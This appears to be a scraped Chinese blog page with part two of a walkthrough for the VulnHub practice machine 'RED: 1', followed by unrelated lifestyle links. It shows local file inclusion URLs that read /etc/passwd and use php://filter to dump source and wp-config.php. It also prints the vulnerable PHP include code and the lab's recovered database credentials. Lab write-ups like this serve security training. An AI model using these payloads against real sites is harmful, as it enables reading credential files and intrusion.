vulnhub靶场之RED: 1( 二 ) _生活百科

文章插图
确定参数名称后传递参数值进行测试，发现这里是一个文件包含漏洞， http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../etc/passwd 。

文章插图
通过伪协议先读取下NetworkFileManagerPHP.php文件，命令：http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php（读取php文件需要使用base64进行加密），对获得base64字符串进行解密获得源码信息。
base64加密字符串：

PD9waHAKICAgJGZpbGUgPSAkX0dFVFsna2V5J107CiAgIGlmKGlzc2V0KCRmaWxlKSkKICAgewogICAgICAgaW5jbHVkZSgiJGZpbGUiKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgIGluY2x1ZGUoIk5ldHdvcmtGaWxlTWFuYWdlclBIUC5waHAiKTsKICAgfQogICAvKiBWR2hoZENCd1lYTnpkMjl5WkNCaGJHOXVaU0IzYjI0bmRDQm9aV3h3SUhsdmRTRWdTR0Z6YUdOaGRDQnpZWGx6SUhKMWJHVnpJR0Z5WlNCeWRXeGxjdz09ICovCj8

源码信息：

<?php$file = $_GET['key'];if(isset($file)){include("$file");}else{include("NetworkFileManagerPHP.php");}/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */?

源码中得base64字符串信息：
That password alone won't help you! Hashcat says rules are rules读取下wp-config.php的文件信息，命令：http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php ，获得base64加密的wp-config.php文件进行解密，获得mysql的账户名和密码：john/R3v_m4lwh3r3_k1nG!!
base64字符串信息：

PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQovLyAqKiBNeVNRTCBzZXR0aW5ncyAtIFlvdSBjYW4gZ2V0IHRoaXMgaW5mbyBmcm9tIHlvdXIgd2ViIGhvc3QgKiogLy8NCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICd3b3JkcHJlc3MnICk7DQoNCi8qKiBNeVNRTCBkYXRhYmFzZSB1c2VybmFtZSAqLw0KZGVmaW5lKCAnREJfVVNFUicsICdqb2huJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgcGFzc3dvcmQgKi8NCmRlZmluZSggJ0RCX1BBU1NXT1JEJywgJ1Izdl9tNGx3aDNyM19rMW5HISEnICk7DQoNCi8qKiBNeVNRTCBob3N0bmFtZSAqLw0KZGVmaW5lKCAnREJfSE9TVCcsICdsb2NhbGhvc3QnICk7DQoNCi8qKiBEYXRhYmFzZSBDaGFyc2V0IHRvIHVzZSBpbiBjcmVhdGluZyBkYXRhYmFzZSB0YWJsZXMuICovDQpkZWZpbmUoICdEQl9DSEFSU0VUJywgJ3V0ZjgnICk7DQoNCi8qKiBUaGUgRGF0YWJhc2UgQ29sbGF0ZSB0eXBlLiBEb24ndCBjaGFuZ2UgdGhpcyBpZiBpbiBkb3VidC4gKi8NCmRlZmluZSggJ0RCX0NPTExBVEUnLCAnJyApOw0KDQpkZWZpbmUoJ0ZTX01FVEhPRCcsICdkaXJlY3QnKTsNCg0KZGVmaW5lKCdXUF9TSVRFVVJMJywgJ2h0dHA6Ly9yZWRyb2Nrcy53aW4nKTsNCmRlZmluZSgnV1BfSE9NRScsICdodHRwOi8vcmVkcm9ja3Mud2luJyk7DQoNCi8qKiNAKw0KICogQXV0aGVudGljYXRpb24gdW5pcXVlIGtleXMgYW5kIHNhbHRzLg0KICoNCiAqIENoYW5nZSB0aGVzZSB0byBkaWZmZXJlbnQgdW5pcXVlIHBocmFzZXMhIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcNCiAqIHRoZSB7QGxpbmsgaHR0cHM6Ly9hcGkud29yZHByZXNzLm9yZy9zZWNyZXQta2V5LzEuMS9zYWx0LyBXb3JkUHJlc3Mub3JnIHNlY3JldC1rZXkgc2VydmljZX0uDQogKg0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4NCiAqIFRoaXMgd2lsbCBmb3JjZSBhbGwgdXNlcnMgdG8gaGF2ZSB0byBsb2cgaW4gYWdhaW4uDQogKg0KICogQHNpbmNlIDIuNi4wDQogKi8NCmRlZmluZSgnQVVUSF9LRVknLCAgICAgICAgICcydXVCdmM4U081ez5Vd1E8XjVWNVtVSEJ3JU59LUJ3V3F3fD48KkhmQndKKCAkJiUsKFpiZy9qd0ZrUkhmfnZ8Jyk7DQpkZWZpbmUoJ1NFQ1VSRV9BVVRIX0tFWScsICAnYWh9PElgNTJHTDZDXkB
上一页
1
2
3
4
5
下一页
		  	经验总结扩展阅读

           
                  
              
                  |《琅琊榜2》原著：读懂林奚的“不爱萧平旌”，就懂了女人的归宿 
                
                   
                
              
            

                  
              
                  2022年9月18日堵蚂蚁洞黄道吉日 2022年9月18日堵蚂蚁洞行吗 
                
                   
                
              
            

                  
              
                  周海媚二十五位明星眉间朱砂妆容大盘点，还是乔振宇最惊艳 
                
                   
                
              
            

                  
              
                  科尔沁区的特色景点有哪些? 
                
                   
                
              
            

                  
              
                  上次五星连珠是什么时候2021 上次五星连珠的时间 
                
                   
                
              
            

                  
              
                  小张今年28岁了|28岁男司机出轨37岁女老板，妻子毫不知情 
                
                   
                
              
            

                  
              
                  川贝粉的正确吃法 
                
                   
                
              
            

                  
              
                  斋月祝福语 
                
                   
                
              
            

                  
              
                  2023年9月10日搬家入宅好不好 2023年9月10日是搬家入宅的黄道吉日吗 
                
                   
                
              
            

                  
              
                  保温杯内胆有缝和无缝有什么区别? 
                
                   
                
              
            

                  
              
                  情感共读|孩子是不是自己喜欢女人生的重要吗？听听老公怎么说 
                
                   
                
              
            

                  
              
                  1.76尸王殿怎么走（尸王殿走法图解) 
                
                   
                
              
            

                  
              
                  温庭筠怎么读 温庭筠介绍 
                
                   
                
              
            

                  
              
                  华为matepad11和小米平板5pro哪个好-华为matepad11和小米平板5Pro对比 
                
                   
                
              
            

                  
              
                  白醋和洗面奶洗脸时先用哪个5个方法告诉你答案 
                
                   
                
              
            

                  
              
                  有意境的古风群名  有意境的古风群名有哪些 
                
                   
                
              
            

                  
              
                  2022年农历十月三十祭拜吉日 2022年11月23日祭拜好吗 
                
                   
                
              
            

                  
              
                  2022年10月23日是迁坟吉日吗 2022年10月23日是迁坟的黄道吉日吗 
                
                   
                
              
            

                  
              
                  五行算命公司起名_四柱预测命运要怎么预测，有什么说法 
                
                   
                
              
            

                  
              
                  2023年农历六月廿七宜求子吗 2023年8月13日求子好吗 
                
                   
                
              
            

          

电视剧因法之名大结局是什么? 

待我熬过带娃之苦的说说 

若即若离，是这些星座男把到你的技术之一 

苍之纪元新手怎么玩 

宝石研物语：伊恩之石最强阵容怎么搭配 

三大鬼节日 三大鬼节是哪三大鬼节 

英文4分之一 四分之一英语 

法尔曼护肤品和海蓝之谜护肤品的区别是什么? 

logback.xml详解 

金铲铲之战2.19隐秘之海t0阵容有哪些